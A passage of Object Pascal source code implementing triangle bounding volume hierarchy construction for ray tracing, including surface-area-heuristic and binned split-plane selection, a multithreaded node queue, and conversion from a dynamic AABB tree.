LeftAABB.Min.y:=Min(Min(Triangle^.Points[0].y,Triangle^.Points[1].y),Triangle^.Points[2].y);
LeftAABB.Min.z:=Min(Min(Triangle^.Points[0].z,Triangle^.Points[1].z),Triangle^.Points[2].z);
LeftAABB.Max.x:=Max(Max(Triangle^.Points[0].x,Triangle^.Points[1].x),Triangle^.Points[2].x);
LeftAABB.Max.y:=Max(Max(Triangle^.Points[0].y,Triangle^.Points[1].y),Triangle^.Points[2].y);
LeftAABB.Max.z:=Max(Max(Triangle^.Points[0].z,Triangle^.Points[1].z),Triangle^.Points[2].z);
end else begin
LeftAABB.Min.x:=Min(LeftAABB.Min.x,Min(Min(Triangle^.Points[0].x,Triangle^.Points[1].x),Triangle^.Points[2].x));
LeftAABB.Min.y:=Min(LeftAABB.Min.y,Min(Min(Triangle^.Points[0].y,Triangle^.Points[1].y),Triangle^.Points[2].y));
LeftAABB.Min.z:=Min(LeftAABB.Min.z,Min(Min(Triangle^.Points[0].z,Triangle^.Points[1].z),Triangle^.Points[2].z));
LeftAABB.Max.x:=Max(LeftAABB.Max.x,Max(Max(Triangle^.Points[0].x,Triangle^.Points[1].x),Triangle^.Points[2].x));
LeftAABB.Max.y:=Max(LeftAABB.Max.y,Max(Max(Triangle^.Points[0].y,Triangle^.Points[1].y),Triangle^.Points[2].y));
LeftAABB.Max.z:=Max(LeftAABB.Max.z,Max(Max(Triangle^.Points[0].z,Triangle^.Points[1].z),Triangle^.Points[2].z));
end;
inc(LeftCount);
end else begin
if RightCount=0 then begin
RightAABB.Min.x:=Min(Min(Triangle^.Points[0].x,Triangle^.Points[1].x),Triangle^.Points[2].x);
RightAABB.Min.y:=Min(Min(Triangle^.Points[0].y,Triangle^.Points[1].y),Triangle^.Points[2].y);
RightAABB.Min.z:=Min(Min(Triangle^.Points[0].z,Triangle^.Points[1].z),Triangle^.Points[2].z);
RightAABB.Max.x:=Max(Max(Triangle^.Points[0].x,Triangle^.Points[1].x),Triangle^.Points[2].x);
RightAABB.Max.y:=Max(Max(Triangle^.Points[0].y,Triangle^.Points[1].y),Triangle^.Points[2].y);
RightAABB.Max.z:=Max(Max(Triangle^.Points[0].z,Triangle^.Points[1].z),Triangle^.Points[2].z);
end else begin
RightAABB.Min.x:=Min(RightAABB.Min.x,Min(Min(Triangle^.Points[0].x,Triangle^.Points[1].x),Triangle^.Points[2].x));
RightAABB.Min.y:=Min(RightAABB.Min.y,Min(Min(Triangle^.Points[0].y,Triangle^.Points[1].y),Triangle^.Points[2].y));
RightAABB.Min.z:=Min(RightAABB.Min.z,Min(Min(Triangle^.Points[0].z,Triangle^.Points[1].z),Triangle^.Points[2].z));
RightAABB.Max.x:=Max(RightAABB.Max.x,Max(Max(Triangle^.Points[0].x,Triangle^.Points[1].x),Triangle^.Points[2].x));
RightAABB.Max.y:=Max(RightAABB.Max.y,Max(Max(Triangle^.Points[0].y,Triangle^.Points[1].y),Triangle^.Points[2].y));
RightAABB.Max.z:=Max(RightAABB.Max.z,Max(Max(Triangle^.Points[0].z,Triangle^.Points[1].z),Triangle^.Points[2].z));
end;
inc(RightCount);
end;
end;
result:=0.0;
if LeftCount>0 then begin
result:=result+(LeftCount*LeftAABB.Area);
end;
if RightCount>0 then begin
result:=result+(RightCount*RightAABB.Area);
end;
if (result<=0.0) or IsZero(result) then begin
result:=Infinity;
end else begin
result:=result*fBVHIntersectionCost;
end;
end;
function TpvTriangleBVH.FindBestSplitPlaneMeanVariance(const aParentTreeNode:PpvTriangleBVHTreeNode;out aAxis:TpvInt32;out aSplitPosition:TpvFloat):Boolean;
var TriangleIndex:TpvInt32;
Triangle:PpvTriangleBVHTriangle;
MeanX,MeanY,MeanZ,VarianceX,VarianceY,VarianceZ:TpvDouble;
Center:PpvVector3;
begin
aAxis:=-1;
aSplitPosition:=0.0;
result:=false;
if aParentTreeNode^.CountTriangles>0 then begin
MeanX:=0.0;
MeanY:=0.0;
MeanZ:=0.0;
for TriangleIndex:=aParentTreeNode^.FirstTriangleIndex to aParentTreeNode^.FirstTriangleIndex+(aParentTreeNode^.CountTriangles-1) do begin
Triangle:=@fTriangles[TriangleIndex];
Center:=@Triangle^.Center;
MeanX:=MeanX+Center^.x;
MeanY:=MeanY+Center^.y;
MeanZ:=MeanZ+Center^.z;
end;
MeanX:=MeanX/aParentTreeNode^.CountTriangles;
MeanY:=MeanY/aParentTreeNode^.CountTriangles;
MeanZ:=MeanZ/aParentTreeNode^.CountTriangles;
VarianceX:=0.0;
VarianceY:=0.0;
VarianceZ:=0.0;
for TriangleIndex:=aParentTreeNode^.FirstTriangleIndex to aParentTreeNode^.FirstTriangleIndex+(aParentTreeNode^.CountTriangles-1) do begin
Triangle:=@fTriangles[TriangleIndex];
Center:=@Triangle^.Center;
VarianceX:=VarianceX+sqr(Center^.x-MeanX);
VarianceY:=VarianceY+sqr(Center^.y-MeanY);
VarianceZ:=VarianceZ+sqr(Center^.z-MeanZ);
end;
VarianceX:=VarianceX/aParentTreeNode^.CountTriangles;
VarianceY:=VarianceY/aParentTreeNode^.CountTriangles;
VarianceZ:=VarianceZ/aParentTreeNode^.CountTriangles;
if VarianceX<VarianceY then begin
if VarianceY<VarianceZ then begin
aAxis:=2;
aSplitPosition:=MeanZ;
end else begin
aAxis:=1;
aSplitPosition:=MeanY;
end;
end else begin
if VarianceX<VarianceZ then begin
aAxis:=2;
aSplitPosition:=MeanZ;
end else begin
aAxis:=0;
aSplitPosition:=MeanX;
end;
end;
result:=true;
end;
end;
function TpvTriangleBVH.FindBestSplitPlaneSAHBruteforce(const aParentTreeNode:PpvTriangleBVHTreeNode;out aAxis:TpvInt32;out aSplitPosition:TpvFloat):TpvFloat;
var AxisIndex,TriangleIndex:TpvInt32;
Triangle:PpvTriangleBVHTriangle;
Cost,SplitPosition:TpvFloat;
begin
aAxis:=-1;
aSplitPosition:=0.0;
result:=Infinity;
for AxisIndex:=0 to 2 do begin
for TriangleIndex:=aParentTreeNode^.FirstTriangleIndex to aParentTreeNode^.FirstTriangleIndex+(aParentTreeNode^.CountTriangles-1) do begin
Triangle:=@fTriangles[TriangleIndex];
SplitPosition:=Triangle^.Center.xyz[AxisIndex];
Cost:=EvaluateSAH(aParentTreeNode,AxisIndex,SplitPosition);
if result>Cost then begin
result:=Cost;
aAxis:=AxisIndex;
aSplitPosition:=SplitPosition;
end;
end;
end;
end;
function TpvTriangleBVH.FindBestSplitPlaneSAHSteps(const aParentTreeNode:PpvTriangleBVHTreeNode;out aAxis:TpvInt32;out aSplitPosition:TpvFloat):TpvFloat;
var AxisIndex,StepIndex:TpvInt32;
Cost,SplitPosition,Time:TpvFloat;
begin
aAxis:=-1;
aSplitPosition:=0.0;
result:=Infinity;
for AxisIndex:=0 to 2 do begin
for StepIndex:=0 to fBVHSubdivisionSteps-1 do begin
Time:=(StepIndex+1)/(fBVHSubdivisionSteps+1);
SplitPosition:=(aParentTreeNode^.Bounds.Min.xyz[AxisIndex]*(1.0-Time))+
(aParentTreeNode^.Bounds.Max.xyz[AxisIndex]*Time);
Cost:=EvaluateSAH(aParentTreeNode,AxisIndex,SplitPosition);
if result>Cost then begin
result:=Cost;
aAxis:=AxisIndex;
aSplitPosition:=SplitPosition;
end;
end;
end;
end;
function TpvTriangleBVH.FindBestSplitPlaneSAHBinned(const aParentTreeNode:PpvTriangleBVHTreeNode;out aAxis:TpvInt32;out aSplitPosition:TpvFloat):TpvFloat;
const CountBINs=8;
type TBIN=record
Count:Int32;
Bounds:TpvAABB;
end;
PBIN=^TBIN;
TBINs=array[0..CountBINs-1] of TBIN;
var AxisIndex,TriangleIndex,BINIndex,LeftSum,RightSum:TpvInt32;
BoundsMin,BoundsMax,Scale,PlaneCost:TpvFloat;
LeftArea,RightArea:array[0..CountBINs-1] of TpvFloat;
LeftCount,RightCount:array[0..CountBINs-1] of TpvInt32;
LeftBounds,RightBounds:TpvAABB;
Triangle:PpvTriangleBVHTriangle;
BINs:TBINs;
BIN:PBIN;
begin
result:=1e30;
aAxis:=-1;
if aParentTreeNode^.CountTriangles>0 then begin
for AxisIndex:=0 to 2 do begin
BoundsMin:=1e30;
BoundsMax:=-1e30;
for TriangleIndex:=aParentTreeNode^.FirstTriangleIndex to aParentTreeNode^.FirstTriangleIndex+(aParentTreeNode^.CountTriangles-1) do begin
Triangle:=@fTriangles[TriangleIndex];
BoundsMin:=Min(BoundsMin,Triangle^.Center[AxisIndex]);
BoundsMax:=Max(BoundsMax,Triangle^.Center[AxisIndex]);
end;
if BoundsMin<>BoundsMax then begin
Scale:=CountBINs/(BoundsMax-BoundsMin);
FillChar(BINs,SizeOf(TBINs),#0);
for TriangleIndex:=aParentTreeNode^.FirstTriangleIndex to aParentTreeNode^.FirstTriangleIndex+(aParentTreeNode^.CountTriangles-1) do begin
Triangle:=@fTriangles[TriangleIndex];
BINIndex:=Min(trunc((Triangle^.Center[AxisIndex]-BoundsMin)*Scale),CountBINs-1);
BIN:=@BINs[BINIndex];
if BIN^.Count=0 then begin
BIN^.Bounds.Min.x:=Min(Min(Triangle^.Points[0].x,Triangle^.Points[1].x),Triangle^.Points[2].x);
BIN^.Bounds.Min.y:=Min(Min(Triangle^.Points[0].y,Triangle^.Points[1].y),Triangle^.Points[2].y);
BIN^.Bounds.Min.z:=Min(Min(Triangle^.Points[0].z,Triangle^.Points[1].z),Triangle^.Points[2].z);
BIN^.Bounds.Max.x:=Max(Max(Triangle^.Points[0].x,Triangle^.Points[1].x),Triangle^.Points[2].x);
BIN^.Bounds.Max.y:=Max(Max(Triangle^.Points[0].y,Triangle^.Points[1].y),Triangle^.Points[2].y);
BIN^.Bounds.Max.z:=Max(Max(Triangle^.Points[0].z,Triangle^.Points[1].z),Triangle^.Points[2].z);
end else begin
BIN^.Bounds.Min.x:=Min(BIN^.Bounds.Min.x,Min(Min(Triangle^.Points[0].x,Triangle^.Points[1].x),Triangle^.Points[2].x));
BIN^.Bounds.Min.y:=Min(BIN^.Bounds.Min.y,Min(Min(Triangle^.Points[0].y,Triangle^.Points[1].y),Triangle^.Points[2].y));
BIN^.Bounds.Min.z:=Min(BIN^.Bounds.Min.z,Min(Min(Triangle^.Points[0].z,Triangle^.Points[1].z),Triangle^.Points[2].z));
BIN^.Bounds.Max.x:=Max(BIN^.Bounds.Max.x,Max(Max(Triangle^.Points[0].x,Triangle^.Points[1].x),Triangle^.Points[2].x));
BIN^.Bounds.Max.y:=Max(BIN^.Bounds.Max.y,Max(Max(Triangle^.Points[0].y,Triangle^.Points[1].y),Triangle^.Points[2].y));
BIN^.Bounds.Max.z:=Max(BIN^.Bounds.Max.z,Max(Max(Triangle^.Points[0].z,Triangle^.Points[1].z),Triangle^.Points[2].z));
end;
inc(BIN^.Count);
end;
LeftSum:=0;
RightSum:=0;
for BINIndex:=0 to CountBINs-2 do begin
BIN:=@BINs[BINIndex];
inc(LeftSum,BIN^.Count);
LeftCount[BINIndex]:=LeftSum;
if BINIndex=0 then begin
LeftBounds:=BIN^.Bounds;
end else begin
LeftBounds:=LeftBounds.Combine(BIN^.Bounds);
end;
LeftArea[BINIndex]:=LeftBounds.Area;
BIN:=@BINs[CountBINs-(BINIndex+1)];
inc(RightSum,BIN^.Count);
RightCount[CountBINs-(BINIndex+2)]:=RightSum;
if BINIndex=0 then begin
RightBounds:=BIN^.Bounds;
end else begin
RightBounds:=RightBounds.Combine(BIN^.Bounds);
end;
RightArea[CountBINs-(BINIndex+2)]:=RightBounds.Area;
end;
Scale:=(BoundsMax-BoundsMin)/CountBINs;
for BINIndex:=0 to CountBINs-2 do begin
PlaneCost:=((LeftCount[BINIndex]*LeftArea[BINIndex])+
(RightCount[BINIndex]*RightArea[BINIndex]))*fBVHIntersectionCost;
if PlaneCost<result then begin
result:=PlaneCost;
aAxis:=AxisIndex;
aSplitPosition:=BoundsMin+((BINIndex+1)*Scale);
end;
end;
end;
end;
end;
end;
function TpvTriangleBVH.CalculateNodeCost(const aParentTreeNode:PpvTriangleBVHTreeNode):TpvFloat;
begin
result:=aParentTreeNode^.Bounds.Area*((aParentTreeNode^.CountTriangles*fBVHIntersectionCost)-fBVHTraversalCost);
end;
procedure TpvTriangleBVH.UpdateNodeBounds(const aParentTreeNode:PpvTriangleBVHTreeNode);
var TriangleIndex:TpvInt32;
Triangle:PpvTriangleBVHTriangle;
begin
if aParentTreeNode^.CountTriangles>0 then begin
Triangle:=@fTriangles[aParentTreeNode^.FirstTriangleIndex];
aParentTreeNode.Bounds.Min.x:=Min(Min(Triangle^.Points[0].x,Triangle^.Points[1].x),Triangle^.Points[2].x);
aParentTreeNode.Bounds.Min.y:=Min(Min(Triangle^.Points[0].y,Triangle^.Points[1].y),Triangle^.Points[2].y);
aParentTreeNode.Bounds.Min.z:=Min(Min(Triangle^.Points[0].z,Triangle^.Points[1].z),Triangle^.Points[2].z);
aParentTreeNode.Bounds.Max.x:=Max(Max(Triangle^.Points[0].x,Triangle^.Points[1].x),Triangle^.Points[2].x);
aParentTreeNode.Bounds.Max.y:=Max(Max(Triangle^.Points[0].y,Triangle^.Points[1].y),Triangle^.Points[2].y);
aParentTreeNode.Bounds.Max.z:=Max(Max(Triangle^.Points[0].z,Triangle^.Points[1].z),Triangle^.Points[2].z);
for TriangleIndex:=aParentTreeNode^.FirstTriangleIndex+1 to aParentTreeNode^.FirstTriangleIndex+(aParentTreeNode^.CountTriangles-1) do begin
Triangle:=@fTriangles[TriangleIndex];
aParentTreeNode.Bounds.Min.x:=Min(aParentTreeNode.Bounds.Min.x,Min(Min(Triangle^.Points[0].x,Triangle^.Points[1].x),Triangle^.Points[2].x));
aParentTreeNode.Bounds.Min.y:=Min(aParentTreeNode.Bounds.Min.y,Min(Min(Triangle^.Points[0].y,Triangle^.Points[1].y),Triangle^.Points[2].y));
aParentTreeNode.Bounds.Min.z:=Min(aParentTreeNode.Bounds.Min.z,Min(Min(Triangle^.Points[0].z,Triangle^.Points[1].z),Triangle^.Points[2].z));
aParentTreeNode.Bounds.Max.x:=Max(aParentTreeNode.Bounds.Max.x,Max(Max(Triangle^.Points[0].x,Triangle^.Points[1].x),Triangle^.Points[2].x));
aParentTreeNode.Bounds.Max.y:=Max(aParentTreeNode.Bounds.Max.y,Max(Max(Triangle^.Points[0].y,Triangle^.Points[1].y),Triangle^.Points[2].y));
aParentTreeNode.Bounds.Max.z:=Max(aParentTreeNode.Bounds.Max.z,Max(Max(Triangle^.Points[0].z,Triangle^.Points[1].z),Triangle^.Points[2].z));
end;
end;
end;
procedure TpvTriangleBVH.ProcessNodeQueue;
var ParentTreeNodeIndex,AxisIndex,
LeftIndex,RightIndex,
LeftCount,
LeftChildIndex,RightChildIndex:TpvInt32;
SplitPosition,SplitCost:TpvFloat;
ParentTreeNode,ChildTreeNode:PpvTriangleBVHTreeNode;
TemporaryTriangle:TpvTriangleBVHTriangle;
OK,Added:boolean;
begin
while (fCountActiveWorkers<>0) or not fNodeQueue.IsEmpty do begin
Added:=false;
while true do begin
fNodeQueueLock.Acquire;
try
OK:=fNodeQueue.Dequeue(ParentTreeNodeIndex);
finally
fNodeQueueLock.Release;
end;
if not OK then begin
break;
end;
if not Added then begin
TPasMPInterlocked.Increment(fCountActiveWorkers);
Added:=true;
end;
ParentTreeNode:=@fTreeNodes[ParentTreeNodeIndex];
if ParentTreeNode^.CountTriangles>fMaximumTrianglesPerNode then begin
case fBVHBuildMode of
TpvTriangleBVHBuildMode.MeanVariance:begin
OK:=FindBestSplitPlaneMeanVariance(ParentTreeNode,AxisIndex,SplitPosition);
end;
else begin
case fBVHBuildMode of
TpvTriangleBVHBuildMode.SAHSteps:begin
SplitCost:=FindBestSplitPlaneSAHSteps(ParentTreeNode,AxisIndex,SplitPosition);
end;
TpvTriangleBVHBuildMode.SAHBinned:begin
SplitCost:=FindBestSplitPlaneSAHBinned(ParentTreeNode,AxisIndex,SplitPosition);
end;
else begin
SplitCost:=FindBestSplitPlaneSAHBruteforce(ParentTreeNode,AxisIndex,SplitPosition);
end;
end;
OK:=SplitCost<CalculateNodeCost(ParentTreeNode);
end;
end;
if OK then begin
LeftIndex:=ParentTreeNode^.FirstTriangleIndex;
RightIndex:=ParentTreeNode^.FirstTriangleIndex+(ParentTreeNode^.CountTriangles-1);
while LeftIndex<=RightIndex do begin
if fTriangles[LeftIndex].Center[AxisIndex]<SplitPosition then begin
inc(LeftIndex);
end else begin
TemporaryTriangle:=fTriangles[LeftIndex];
fTriangles[LeftIndex]:=fTriangles[RightIndex];
fTriangles[RightIndex]:=TemporaryTriangle;
dec(RightIndex);
end;
end;
LeftCount:=LeftIndex-ParentTreeNode^.FirstTriangleIndex;
if (LeftCount<>0) and (LeftCount<>ParentTreeNode^.CountTriangles) then begin
LeftChildIndex:=TPasMPInterlocked.Add(fCountTreeNodes,2);
RightChildIndex:=LeftChildIndex+1;
ParentTreeNode^.FirstLeftChild:=LeftChildIndex;
ChildTreeNode:=@fTreeNodes[LeftChildIndex];
ChildTreeNode^.FirstTriangleIndex:=ParentTreeNode^.FirstTriangleIndex;
ChildTreeNode^.CountTriangles:=LeftCount;
ChildTreeNode^.FirstLeftChild:=-1;
UpdateNodeBounds(ChildTreeNode);
fNodeQueueLock.Acquire;
try
fNodeQueue.Enqueue(RightChildIndex);
finally
fNodeQueueLock.Release;
end;
ChildTreeNode:=@fTreeNodes[RightChildIndex];
ChildTreeNode^.FirstTriangleIndex:=LeftIndex;
ChildTreeNode^.CountTriangles:=ParentTreeNode^.CountTriangles-LeftCount;
ChildTreeNode^.FirstLeftChild:=-1;
UpdateNodeBounds(ChildTreeNode);
fNodeQueueLock.Acquire;
try
fNodeQueue.Enqueue(RightChildIndex);
finally
fNodeQueueLock.Release;
end;
end;
end;
end;
end;
if Added then begin
TPasMPInterlocked.Decrement(fCountActiveWorkers);
end;
end;
end;
procedure TpvTriangleBVH.BuildJob(const Job:PPasMPJob;const ThreadIndex:TPasMPInt32);
begin
ProcessNodeQueue;
end;
procedure TpvTriangleBVH.Build;
type TDynamicAABBTreeNode=record
AABB:TpvAABB;
Parent:TpvSizeInt;
Children:array[0..1] of TpvSizeInt;
Triangles:array of TpvPtrUInt;
CountChildTriangles:TpvSizeInt;
end;
PDynamicAABBTreeNode=^TDynamicAABBTreeNode;
TDynamicAABBTreeNodes=array of TDynamicAABBTreeNode;
TDynamicAABBTreeNodeStackItem=record
DynamicAABBTreeNodeIndex:TpvSizeInt;
case boolean of
false:(
NodeIndex:TpvSizeInt;
);
true:(
Pass:TpvSizeInt;
);
end;
TDynamicAABBTreeNodeStack=TpvDynamicStack<TDynamicAABBTreeNodeStackItem>;
var JobIndex,TreeNodeIndex,SkipListNodeIndex,Index,TargetIndex,TemporaryIndex,
NextTargetIndex,TriangleIndex,CountNewTriangles:TPasMPInt32;
TreeNode:PpvTriangleBVHTreeNode;
Jobs:array of PPasMPJob;
StackItem:TpvUInt64;
SkipListNode:PpvTriangleBVHSkipListNode;
DynamicAABBTree:TpvBVHDynamicAABBTree;
DynamicAABBTreeOriginalNode:TpvBVHDynamicAABBTree.PTreeNode;
DynamicAABBTreeNode,OtherDynamicAABBTreeNode:PDynamicAABBTreeNode;
DynamicAABBTreeNodes:TDynamicAABBTreeNodes;
DynamicAABBTreeNodeStack:TDynamicAABBTreeNodeStack;
NewDynamicAABBTreeNodeStackItem:TDynamicAABBTreeNodeStackItem;
CurrentDynamicAABBTreeNodeStackItem:TDynamicAABBTreeNodeStackItem;
TriangleIndices:TpvInt32DynamicArray;
Triangle:PpvTriangleBVHTriangle;
TemporaryTriangle:TpvTriangleBVHTriangle;
Seed:TpvUInt32;
AABB:TpvAABB;
begin
SplitTooLargeTriangles;
if length(fTreeNodes)<=Max(1,length(fTriangles)) then begin
SetLength(fTreeNodes,Max(1,length(fTriangles)*2));
end;
if fBVHBuildMode=TpvTriangleBVHBuildMode.SAHRandomInsert then begin
if fCountTriangles>0 then begin
DynamicAABBTree:=TpvBVHDynamicAABBTree.Create;
try
// Insert triangles in a random order for better tree balance of the dynamic AABB tree
TriangleIndices:=nil;
try
SetLength(TriangleIndices,fCountTriangles);
for Index:=0 to fCountTriangles-1 do begin
TriangleIndices[Index]:=Index;
end;
Seed:=TpvUInt32($8b0634d1);
for Index:=0 to fCountTriangles-1 do begin
TargetIndex:=TpvUInt32(TpvUInt64(TpvUInt64(TpvUInt64(Seed)*fCountTriangles) shr 32));
Seed:=Seed xor (Seed shl 13);
Seed:=Seed xor (Seed shr 17);
Seed:=Seed xor (Seed shl 5);
TemporaryIndex:=TriangleIndices[Index];
TriangleIndices[Index]:=TriangleIndices[TargetIndex];
TriangleIndices[TargetIndex]:=TemporaryIndex;
end;
for Index:=0 to fCountTriangles-1 do begin
TriangleIndex:=TriangleIndices[Index];
Triangle:=@fTriangles[TriangleIndex];
AABB.Min.x:=Min(Min(Triangle^.Points[0].x,Triangle^.Points[1].x),Triangle^.Points[2].x);
AABB.Min.y:=Min(Min(Triangle^.Points[0].y,Triangle^.Points[1].y),Triangle^.Points[2].y);
AABB.Min.z:=Min(Min(Triangle^.Points[0].z,Triangle^.Points[1].z),Triangle^.Points[2].z);
AABB.Max.x:=Max(Max(Triangle^.Points[0].x,Triangle^.Points[1].x),Triangle^.Points[2].x);
AABB.Max.y:=Max(Max(Triangle^.Points[0].y,Triangle^.Points[1].y),Triangle^.Points[2].y);
AABB.Max.z:=Max(Max(Triangle^.Points[0].z,Triangle^.Points[1].z),Triangle^.Points[2].z);
DynamicAABBTree.CreateProxy(AABB,TriangleIndex+1);
end;
finally
TriangleIndices:=nil;
end;
// DynamicAABBTree.Rebalance(65536);
DynamicAABBTreeNodes:=nil;
try
SetLength(DynamicAABBTreeNodes,DynamicAABBTree.NodeCount);
for Index:=0 to DynamicAABBTree.NodeCount-1 do begin
DynamicAABBTreeOriginalNode:=@DynamicAABBTree.Nodes[Index];
DynamicAABBTreeNode:=@DynamicAABBTreeNodes[Index];
DynamicAABBTreeNode^.AABB:=DynamicAABBTreeOriginalNode^.AABB;
DynamicAABBTreeNode^.Parent:=DynamicAABBTreeOriginalNode^.Parent;
DynamicAABBTreeNode^.Children[0]:=DynamicAABBTreeOriginalNode^.Children[0];
DynamicAABBTreeNode^.Children[1]:=DynamicAABBTreeOriginalNode^.Children[1];
if TpvPtrUInt(DynamicAABBTreeOriginalNode^.UserData)>0 then begin
DynamicAABBTreeNode^.Triangles:=[TpvPtrUInt(DynamicAABBTreeOriginalNode^.UserData)-1];
end else begin
DynamicAABBTreeNode^.Triangles:=nil;
end;
DynamicAABBTreeNode^.CountChildTriangles:=0;
end;
DynamicAABBTreeNodeStack.Initialize;
try
// Counting child triangles
begin
NewDynamicAABBTreeNodeStackItem.DynamicAABBTreeNodeIndex:=DynamicAABBTree.Root;
NewDynamicAABBTreeNodeStackItem.Pass:=0;
DynamicAABBTreeNodeStack.Push(NewDynamicAABBTreeNodeStackItem);
while DynamicAABBTreeNodeStack.Pop(CurrentDynamicAABBTreeNodeStackItem) do begin
DynamicAABBTreeNode:=@DynamicAABBTreeNodes[CurrentDynamicAABBTreeNodeStackItem.DynamicAABBTreeNodeIndex];
case CurrentDynamicAABBTreeNodeStackItem.Pass of
0:begin
if DynamicAABBTreeNode^.Parent>=0 then begin
inc(DynamicAABBTreeNodes[DynamicAABBTreeNode^.Parent].CountChildTriangles,length(DynamicAABBTreeNode^.Triangles));
end;
NewDynamicAABBTreeNodeStackItem.DynamicAABBTreeNodeIndex:=CurrentDynamicAABBTreeNodeStackItem.DynamicAABBTreeNodeIndex;
NewDynamicAABBTreeNodeStackItem.Pass:=1;
DynamicAABBTreeNodeStack.Push(NewDynamicAABBTreeNodeStackItem);
if DynamicAABBTreeNode^.Children[1]>=0 then begin
NewDynamicAABBTreeNodeStackItem.DynamicAABBTreeNodeIndex:=DynamicAABBTreeNode^.Children[1];
NewDynamicAABBTreeNodeStackItem.Pass:=0;
DynamicAABBTreeNodeStack.Push(NewDynamicAABBTreeNodeStackItem);
end;
if DynamicAABBTreeNode^.Children[0]>=0 then begin
NewDynamicAABBTreeNodeStackItem.DynamicAABBTreeNodeIndex:=DynamicAABBTreeNode^.Children[0];
NewDynamicAABBTreeNodeStackItem.Pass:=0;
DynamicAABBTreeNodeStack.Push(NewDynamicAABBTreeNodeStackItem);
end;
end;
1:begin
if DynamicAABBTreeNode^.Parent>=0 then begin
inc(DynamicAABBTreeNodes[DynamicAABBTreeNode^.Parent].CountChildTriangles,DynamicAABBTreeNode^.CountChildTriangles);
end;
end;
end;
end;
end;
// Merge leafs
begin
NewDynamicAABBTreeNodeStackItem.DynamicAABBTreeNodeIndex:=DynamicAABBTree.Root;
NewDynamicAABBTreeNodeStackItem.Pass:=0;
DynamicAABBTreeNodeStack.Push(NewDynamicAABBTreeNodeStackItem);
while DynamicAABBTreeNodeStack.Pop(CurrentDynamicAABBTreeNodeStackItem) do begin
DynamicAABBTreeNode:=@DynamicAABBTreeNodes[CurrentDynamicAABBTreeNodeStackItem.DynamicAABBTreeNodeIndex];
if DynamicAABBTreeNode^.CountChildTriangles<=fMaximumTrianglesPerNode then begin
NewDynamicAABBTreeNodeStackItem.DynamicAABBTreeNodeIndex:=CurrentDynamicAABBTreeNodeStackItem.DynamicAABBTreeNodeIndex;
NewDynamicAABBTreeNodeStackItem.Pass:=1;
DynamicAABBTreeNodeStack.Push(NewDynamicAABBTreeNodeStackItem);
if DynamicAABBTreeNode^.Children[1]>=0 then begin
NewDynamicAABBTreeNodeStackItem.DynamicAABBTreeNodeIndex:=DynamicAABBTreeNode^.Children[1];
NewDynamicAABBTreeNodeStackItem.Pass:=2;
DynamicAABBTreeNodeStack.Push(NewDynamicAABBTreeNodeStackItem);
end;
if DynamicAABBTreeNode^.Children[0]>=0 then begin
NewDynamicAABBTreeNodeStackItem.DynamicAABBTreeNodeIndex:=DynamicAABBTreeNode^.Children[0];
NewDynamicAABBTreeNodeStackItem.Pass:=2;
DynamicAABBTreeNodeStack.Push(NewDynamicAABBTreeNodeStackItem);
end;
DynamicAABBTreeNode^.Children[0]:=-1;
DynamicAABBTreeNode^.Children[1]:=-1;
DynamicAABBTreeNode^.CountChildTriangles:=0;
while DynamicAABBTreeNodeStack.Pop(CurrentDynamicAABBTreeNodeStackItem) do begin
case CurrentDynamicAABBTreeNodeStackItem.Pass of
0:begin
Assert(false);
end;
1:begin
break;
end;
else {2:}begin
OtherDynamicAABBTreeNode:=@DynamicAABBTreeNodes[CurrentDynamicAABBTreeNodeStackItem.DynamicAABBTreeNodeIndex];
if length(OtherDynamicAABBTreeNode^.Triangles)>0 then begin
DynamicAABBTreeNode^.Triangles:=DynamicAABBTreeNode^.Triangles+OtherDynamicAABBTreeNode^.Triangles;
end;
if OtherDynamicAABBTreeNode^.Children[1]>=0 then begin
NewDynamicAABBTreeNodeStackItem.DynamicAABBTreeNodeIndex:=OtherDynamicAABBTreeNode^.Children[1];
NewDynamicAABBTreeNodeStackItem.Pass:=2;
DynamicAABBTreeNodeStack.Push(NewDynamicAABBTreeNodeStackItem);
end;
if OtherDynamicAABBTreeNode^.Children[0]>=0 then begin
NewDynamicAABBTreeNodeStackItem.DynamicAABBTreeNodeIndex:=OtherDynamicAABBTreeNode^.Children[0];
NewDynamicAABBTreeNodeStackItem.Pass:=2;
DynamicAABBTreeNodeStack.Push(NewDynamicAABBTreeNodeStackItem);
end;
OtherDynamicAABBTreeNode^.Parent:=-1;
OtherDynamicAABBTreeNode^.Children[0]:=-1;
OtherDynamicAABBTreeNode^.Children[0]:=-1;
OtherDynamicAABBTreeNode^.CountChildTriangles:=0;
OtherDynamicAABBTreeNode^.Triangles:=nil;
end;
end;
end;
end else begin
if DynamicAABBTreeNode^.Children[1]>=0 then begin
NewDynamicAABBTreeNodeStackItem.DynamicAABBTreeNodeIndex:=DynamicAABBTreeNode^.Children[1];
NewDynamicAABBTreeNodeStackItem.Pass:=0;
DynamicAABBTreeNodeStack.Push(NewDynamicAABBTreeNodeStackItem);
end;
if DynamicAABBTreeNode^.Children[0]>=0 then begin
NewDynamicAABBTreeNodeStackItem.DynamicAABBTreeNodeIndex:=DynamicAABBTreeNode^.Children[0];
NewDynamicAABBTreeNodeStackItem.Pass:=0;
DynamicAABBTreeNodeStack.Push(NewDynamicAABBTreeNodeStackItem);
end;
end;
end;
end;
// Convert to optimized tree node structure
begin
TriangleIndices:=nil;
try
SetLength(TriangleIndices,fCountTriangles);
CountNewTriangles:=0;
fCountTreeNodes:=0;
fTreeNodeRoot:=0;
SetLength(fTreeNodes,length(DynamicAABBTreeNodes));
NewDynamicAABBTreeNodeStackItem.DynamicAABBTreeNodeIndex:=DynamicAABBTree.Root;
NewDynamicAABBTreeNodeStackItem.NodeIndex:=fCountTreeNodes;
inc(fCountTreeNodes);
DynamicAABBTreeNodeStack.Push(NewDynamicAABBTreeNodeStackItem);
while DynamicAABBTreeNodeStack.Pop(CurrentDynamicAABBTreeNodeStackItem) do begin
if CurrentDynamicAABBTreeNodeStackItem.DynamicAABBTreeNodeIndex>=0 then begin
DynamicAABBTreeNode:=@DynamicAABBTreeNodes[CurrentDynamicAABBTreeNodeStackItem.DynamicAABBTreeNodeIndex];
end else begin
DynamicAABBTreeNode:=nil;
end;
TreeNode:=@fTreeNodes[CurrentDynamicAABBTreeNodeStackItem.NodeIndex];
if assigned(DynamicAABBTreeNode) then begin
TreeNode^.Bounds:=DynamicAABBTreeNode^.AABB;
if (DynamicAABBTreeNode^.Children[0]>=0) or (DynamicAABBTreeNode^.Children[1]>=0) then begin
TreeNode^.FirstLeftChild:=fCountTreeNodes;
inc(fCountTreeNodes,2);
if length(fTreeNodes)<fCountTreeNodes then begin
SetLength(fTreeNodes,fCountTreeNodes+((fCountTreeNodes+1) shr 1));
end;
